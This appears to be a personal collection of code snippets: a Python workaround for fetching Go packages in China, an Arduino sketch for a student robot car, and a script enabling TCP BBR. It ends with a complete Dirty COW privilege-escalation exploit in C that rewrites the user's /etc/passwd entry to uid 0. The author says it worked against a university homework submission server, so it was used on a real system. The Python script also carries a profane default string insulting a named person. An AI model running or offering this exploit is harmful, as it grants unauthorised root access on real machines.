go-get golang.org/x/... will run perfectly in china!

go-get-for-china.py

#!/bin/env python3
# by Recolic Keghart, Nov 16

import sys
import os
import subprocess

if len(sys.argv) < 2:
    print('Error: go-get-for-china <pkg path>')
    exit(1)

gopath = os.environ['GOPATH']
if gopath == '':
    print('Error: GOPATH is empty.')
    exit(2)
print('GOPATH is ' + gopath)

def cut_last_path_segment(pathstr):
    # Example: cut('/home/recolic/tmp') => '/home/recolic/'
    #          cut('/home/recolic/tmp/') => '/home/recolic/'
    if pathstr == '' or pathstr == '/':
        raise ValueError('pathstr {} is not cutable.'.format(pathstr))
    revpath = pathstr[::-1]
    if revpath[0] == '/':
        revpath = revpath[1:]
    pos = revpath.find('/')
    if pos == -1:
        raise ValueError('pathstr {} is not cutable.'.format(pathstr))
    return revpath[pos:][::-1]

def error_line_to_pkgname(errline):
    res = errline.find(': ')
    if res == -1:
        raise ValueError('Incorrect error line passed to parser.')
    return errline[8:res]

def try_install_blocked(pkgname):
    newname = 'github.com/golang' + pkgname[12:]
    try_install_normal(newname, 'expects import')
    subprocess.run(['mkdir', '-p', gopath + '/src/' + cut_last_path_segment(pkgname)], check=True)
    subprocess.run(['cp', '-rf', gopath + '/src/' + newname, gopath + '/src/' + pkgname], check=True)
    subprocess.run(['go', 'build', pkgname], check=True)
    subprocess.run(['go', 'install', pkgname], check=True)

def try_install_normal(pkgname, ignore_error = '_fuck_chinese_gfw__fuck_fangbinxing`s_family_'):
    result = subprocess.run(["go", "get", pkgname], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    if result.returncode == 0:
        return
    for line in result.stderr.decode().split('\n'):
        if line == '':
            continue
        if '(https fetch:' in line:
            new_pkgname = error_line_to_pkgname(line)
            try_install(new_pkgname)
        elif ignore_error not in line:
            print('ERROR>' + line)
            raise RuntimeError('go get failed.') 

def try_install(pkgname):
    print('Installing {} ...'.format(pkgname))
    if pkgname[:12] == 'golang.org/x':
        try_install_blocked(pkgname)
    else:
        try_install_normal(pkgname)

try_install(sys.argv[1])

好像是当年华科电工实习的小车代码,虽然是垃圾,但还是从gist搬过来

junk_stupid_trunk.ino

/*
* Reconstructed by Recolic Keghart.
 * Nov 1, 2017
 * LICENSE := GPLv3
 */
#define STANDARD_SPEED 200
#define SLOW_WHILE_AUTO_DRIVE 0.9
int usual_speed = STANDARD_SPEED;
int bReverseMode = 0;
int bForceBoost = 0;

#define LEFT_POWER_MAIN 6
#define LEFT_POWER 5
#define RIGHT_POWER 9 
#define RIGHT_POWER_MAIN 10

//If right wheel is higher, set it to >1.
#define ADJUST_LR_BALANCE 1.2

int L_st=0;
void setup()
{
  Serial.begin(9600);
  pinMode( 18, INPUT);
  pinMode( 14, INPUT);
  pinMode( 17, INPUT);
  pinMode( 16, INPUT);
  pinMode( RIGHT_POWER_MAIN, OUTPUT);
  pinMode( LEFT_POWER_MAIN, OUTPUT);
  pinMode( LEFT_POWER, OUTPUT);
  pinMode( RIGHT_POWER, OUTPUT);
  analogWrite(LEFT_POWER , 0);

  analogWrite(LEFT_POWER_MAIN , 0);

  analogWrite(RIGHT_POWER , 0);

  analogWrite(RIGHT_POWER_MAIN , 0);

}

//libraries begin.
#define REVERSE_BOOL(bBool) (bBool?0:1)
void set_mode(int left_sp, int right_sp, int bNeg = 0)
{
  bNeg = bReverseMode ? REVERSE_BOOL(bNeg) : bNeg;
  left_sp *= ADJUST_LR_BALANCE;
  if(bForceBoost)
  {
    left_sp *= 5;
    right_sp *= 5;
  }
  if(bNeg)
  {
    analogWrite(LEFT_POWER , left_sp);
    analogWrite(LEFT_POWER_MAIN , 0);
    analogWrite(RIGHT_POWER , right_sp);
    analogWrite(RIGHT_POWER_MAIN , 0);
  }
  else
  {
    analogWrite(LEFT_POWER , 0);
    analogWrite(LEFT_POWER_MAIN , left_sp);
    analogWrite(RIGHT_POWER , 0);
    analogWrite(RIGHT_POWER_MAIN , right_sp);
  }
}

void go_left(int bNeg = 0)
{
  set_mode(usual_speed, 0, bNeg);
}
void go_right(int bNeg = 0)
{
  set_mode(0, usual_speed, bNeg);
}
void go_forward(int bNeg = 0)
{
  set_mode(usual_speed, usual_speed, bNeg);
}
void set_stop()
{
  set_mode(0, 0, 0);
}
#define _BACK 1
//All lib done.

/*
  //Slower while auto-driving.
  usual_speed *= SLOW_WHILE_AUTO_DRIVE;
  if(  !(digitalRead(14)  ||  digitalRead(18))  )
  {
    go_right();
  }
  else
    go_forward();
  usual_speed = STANDARD_SPEED;
  return;
*/

void _track()
{
  //Slower while auto-driving.
  usual_speed *= SLOW_WHILE_AUTO_DRIVE;
  if (( !( digitalRead(14) ) && digitalRead(18) ))
  {
    go_left();
  }
  else
  {
    if (( !( digitalRead(18) ) && digitalRead(14) ))
    {  
      go_right();
    }
    else
    {
      if (( !( digitalRead(14) ) && !( digitalRead(18) ) ))
        go_forward();
      else
        set_stop();
    }
  }
  usual_speed = STANDARD_SPEED;
}


void _trace()
{
  //Slower while auto-driving.
  usual_speed *= SLOW_WHILE_AUTO_DRIVE;
  if (( !( digitalRead(16) ) && digitalRead(17) ))
  {
    go_left();
  }
  else
  {
    if (( !( digitalRead(17) ) && digitalRead(16) ))
      go_right();
    else
        go_forward();
  }
  usual_speed = STANDARD_SPEED;
}

void loop()
{
  char getstr=Serial.read();
  switch(getstr)
  {
  case 'l':
    go_left();
    L_st=0;
    break;
  case 'r':
    go_right();
    L_st=0;
    break;
  case 'f':
    go_forward();
    L_st=0;
    break;
  case 's':
    set_stop();
    L_st=0;
    break;
  case 'b':
    go_forward(_BACK);
    L_st=0;
    break;
  case 'i':
    L_st=1;
    break;
  case 't':
    L_st=2;
    break;
  case 'x': //Boost mode
    set_mode(5*usual_speed, 5*usual_speed);
    break;
  case 'z': //Reverse mode on
    bReverseMode = REVERSE_BOOL(bReverseMode);
    break;
  case 'c':
    bForceBoost = REVERSE_BOOL(bForceBoost);
    break;
  }
  if(L_st==1)  _track();
  else if(L_st==2)  _trace();
}

One-click enable bbr.

#!/bin/bash

uname -r | grep -E '^(4\.(1[^\.]|9))|5\.' > /dev/null
(( $? == 1 )) && echo 'Linux kernel version must >= 4.9' && exit 1

[[ `whoami` != root ]] && echo 'You must be root' && exit 1

lsmod | grep bbr > /dev/null
(( $? == 1 )) &&
    modprobe tcp_bbr &&
    echo "tcp_bbr" >> /etc/modules-load.d/modules.conf

echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf &&
echo "net.ipv4.tcp_congestion_control=bbr" >> /etc/sysctl.conf &&
sysctl -p

sysctl net.ipv4.tcp_available_congestion_control
sysctl net.ipv4.tcp_congestion_control

sysctl net.ipv4.tcp_congestion_control | grep bbr > /dev/null && echo 'Success.' || echo 'Failed.'

Worked for HUST C homework submitting system, running ubuntu 1410.

#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <sys/types.h>
#include <pwd.h>

void *map;
int f;
struct stat st;
char *name;

void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
    c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %dnn",c);
}
void *procselfmemThread(void *arg)
{
  char *str;
  str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
>  The in the wild exploit we are aware of doesn't work on Red Hat
>  Enterprise Linux 5 and 6 out of the box because on one side of
>  the race it writes to /proc/self/mem, but /proc/self/mem is not
>  writable on Red Hat Enterprise Linux 5 and 6.   
*/
  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
    lseek(f,(uintptr_t) map,SEEK_SET);
    c+=write(f,str,strlen(str));
  }
  printf("procselfmem %dnn", c);
}
int main(int argc,char *argv[])
{
  pthread_t pth1,pth2;
  name=strdup("/etc/passwd");
  f=open(name,O_RDONLY);
  fstat(f,&st);
  char* towrite=malloc(st.st_size+1);
  read(f, towrite, st.st_size);
  towrite[st.st_size]=0;
  close(f);
  char *attackline; char *exploitedline;
  struct passwd *attacker=getpwuid(getuid());
  asprintf(&attackline,"%s:%s:%d:%d:%s:%s:%s",attacker->pw_name,attacker->pw_passwd,attacker->pw_uid, attacker->pw_gid,attacker->pw_gecos,attacker->pw_dir,attacker->pw_shell);
  asprintf(&exploitedline,"%s:%s:0:%d:%s:%s:%s",attacker->pw_name,attacker->pw_passwd, attacker->pw_gid,attacker->pw_gecos,attacker->pw_dir,attacker->pw_shell);
  char *endoffile=strstr(towrite,attackline)+strlen(attackline);
  char *changelocation=strstr(towrite,attackline); 
  int oldfilelen=strlen(towrite);
  sprintf(changelocation,"%s%s",exploitedline,endoffile);
  int linediff=strlen(attackline)-strlen(exploitedline);
  int i; for(i=oldfilelen; i>oldfilelen-linediff; i--) towrite[i-1]='n';
/*
You have to open the file in read only mode.
*/
  f=open(name,O_RDONLY);
  fstat(f,&st);
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping.  Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file.  It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %zxnn",(uintptr_t) map);
/*
You have to do it on two threads.
*/
  pthread_create(&pth1,NULL,madviseThread,name);   
  pthread_create(&pth2,NULL,procselfmemThread,towrite);
/*
You have to wait for the threads to finish.
*/
  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;
}